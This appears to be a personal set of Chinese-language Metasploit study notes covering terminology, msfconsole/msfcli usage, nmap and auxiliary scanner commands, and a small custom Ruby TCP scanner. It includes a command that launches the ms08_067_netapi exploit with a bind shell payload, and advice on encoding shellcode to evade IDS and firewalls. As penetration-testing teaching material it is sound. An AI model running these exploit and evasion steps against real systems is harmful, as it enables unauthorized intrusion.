metasploit学习笔记
N年前使用metasploit框架过程中写下的学习笔记
一.名词解释
-
exploit: 测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的 有内存溢出,网站程序漏洞利用,配置错误exploit。
-
payload: 我们想让被攻击系统执行的程序,如reverse shell可以从目标机器与测试者之间建立一 个反响连接,bind shell 绑定一个执行命令的通道至测试者的机器。payload也可以是只 能在目标机器上执行有限命令的程序。
-
shellcode: 是进行攻击时的一系列被当作payload的指令,通常在目标机器上执行之后提供一个可 执行命令的shell。
-
module: MSF的模块,由一系列代码组成。
-
listener: 等待来自被攻击机器的incoming连接的监听在测试者机器上的程序。
二.MSF基础
启动msf
1、MSF提供多种用户界面:控制台模式(msfconsole),命令行模式(msfcli),图形模式(msfgui、armitage),(在老版本中还有web界面模式,后来貌似由于安全因素被取消了?)其中console模式最常用,启动方式:
cd /opt/framework/msf3/
msfconsole
运行此命令后将进入msf命令提示符:
msf>
获取帮助信息
2、获取命令的帮助信息:help
例子:
help connect
msfcli
3、msfcli 和msfconsole相比不提供交互方式,它直接从命令行输入所有参数并产生结果,
msfcli –h #获取帮助信息
msfcli <exploit_name> <option=value> [mode]
mode:H(help)帮助
S(summary)显示模块信息
O(options)显示模块的可用选项
A(advanced)显示高级选项
I(ids)显示IDS EVASION 选项
P(payload)显示此模块可用的payload
T(targets)显示可用targets
AC(action)显示可用actions
C(check)运行模块测试
E(execute)执行选定的模块
模块使用示例
例子:ms08_067_netapi模块
msfcli windows/smb/ms08_067_netapi O #查看可用选项
msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 P #查看可用payload
msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 PAYLOAD=windows/shell/bind_tcp E #执行 (此处O、P 等参数也可以用小写)
armitage使用
4、Armitage :MSF的一个图形接口
运行方式:
cd /opt/farmework/msf3/
armitage
msf其他组件
5、MSF其他组件:
- MSFpayload工具:
用于生成shellcode,可生成C,Ruby,JaveScript,VB格式的shellcode。 帮助信息:
msfpayload –h
- MSFencode工具:
编码压缩shellcode,过IDS ,防火墙。
msfencode -h
msfencode –l 查看可用的编码器(encoders),效果最佳的是x86/shikata_ga_nai
三.信息刺探与收集
1、攻击第一步:基础信息收集
whois查询:
msf > whois example.com
msf> whois 192.168.1.100
http://searchdns.netcraft.com/在线收集服务器IP信息工具
nslookup
set type=mx
> example.com
2、用nmap探测开放端口和服务:
-sS SYN半开扫描 -sT TCP 半开扫描 -Pn 不使用ping 方式探测主机 -A 探测 服务类型 -6 开启IPV6扫描 -O 探测操作系统版本 常用扫描参数组合:
nmap –sS –Pn 192.168.0.111
nmap –sS –Pn –A 192.168.0.111
其他组合:
nmap -T4 -A -v 深入式扫描
nmap -sS -sU -T4 -A -v 同上,且扫UDP
nmap -p 1-65535 -T4 -A -v 扫描所有TCP端口
nmap -T4 -A -v -Pn 不使用ping
nmap -sn 使用ping
nmap -T4 -F 快速扫描
nmap -sV -T4 -O -F --version-light 加强版快速扫描
nmap -sn --traceroute 快速路 由跟踪扫描
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 慢速全面扫描
(nmap的scripts位于/usr/local/share/nmap/scripts/目录,用LUA语言编写,nmap --script-help all | less 查看脚本扫描帮助信息) (nmap还有一个GUI界面工具叫zenmap,命令zenmap或nmapfe都可以启动)
3、MSF与postgresql协同工作
/etc/init.d/postgreql-8.3 start
msf> db_connect postgres:toor@127.0.0.1/msf
msf> db_status
# 导入nmap扫描的结果:
nmap –sS –Pn –A –oX Subnet1 192.168.1.0/24 # -oX 扫描结果导出为Subnet1.xml
msf> db_import Subnet1.xml
msf> db_hosts –c address #查看导入的主机IP
msf也可以和mysql一起工作,在bt5 r1中msf默认支持连接mysql:
msf> db_driver mysql
msf> db_connect root:toor@127.0.0.1/msf3 #连接本机mysql的msf3数据库
mysql默认密码toor,使用db_connect连接时会自动创建msf3库)
4、高级扫描方式:
msf> use auxiliary/scanner/ip/ipidseq #IPID序列扫描器,与nmap的-sI -O选项类似
show options
set RHOSTS 192.168.1.0/24
set RPORT 8080
set THREADS 50
run
(RHOSTS、RPORT等参数也可以用小写)
msf> nmap –PN –sI 192.168.1.09 192.168.1.155
nmap 连接数据库:
msf> db_connect postgres:toor@127.0.0.1/msf
msf> db_nmap –sS –A 192.168.1.111
msf> db_services #查看扫描结果
使用portscan模块:
msf> search postscan
msf> use scanner/postscan/syn
set RHOSTS 192.168.1.111
set THREADS 50
run
5、特定扫描:
smb_version模块:
msf> use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.1.111
run
db_hosts –c address,os_flavor
查找mssql主机:
msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run
SSH服务器扫描:
msf> use auxiliary/scanner/ssh/ssh_version
set THREADS 50
run
FTP主机扫描:
msf> use auxiliary/scanner/ftp/ftp_version
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run
扫描FTP匿名登录:
use auxiliary/scanner/ftp/anonymos
set RHOSTS 192.168.1.0/24
set THREADS 50
run
扫描SNMP主机:
msf> use auxiliary/scanner/snmp/snmp_login
set RHOSTS 192.168.1.0/24
set THREADS 50
run
6、编写自定义扫描模块:
MSF框架提供对其所有exploit和method的访问,支持代理,SSL,报告生成,线程, 使用Ruby语言。
例子:一个简单的自定义扫描模块
#Metasploit
require ‘msf/core’
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf:Auxiliary::Scanner
def initialize
super(
‘Name’ => ‘My custom TCP scan’,
‘Version’ => ‘$Revision: 1$’,
‘Description’ => ‘My quick scanner’,
‘Author’ => ‘Your name here’,
‘License’ => ‘MSF_LICENSE’
)
register_options(
[
Opt::RPORT(12345)
],self.class)
end
def run_host(ip)
connect()
sock.puts(‘HELLO SERVER’)
data = sock.recv(1024)
print_status(“Received: #{data} from #{ip}”)
disconnect()
end
end
测试:将模块保存到modules/auxiliary/scanner/目录下面,命名为simple_tcp.rb,注意保存的位置很重要。
使用nc监听一个端口测试这个模块:
echo “Hello Metasploit” > banner.txt
nc –lvnp 12345 < banner.txt
msf> use auxiliary/scanner/simple_tcp
>show options
>set RHOSTS 192.168.1.111
>run
[*] Received: Hello Metasploit from 192.168.1.111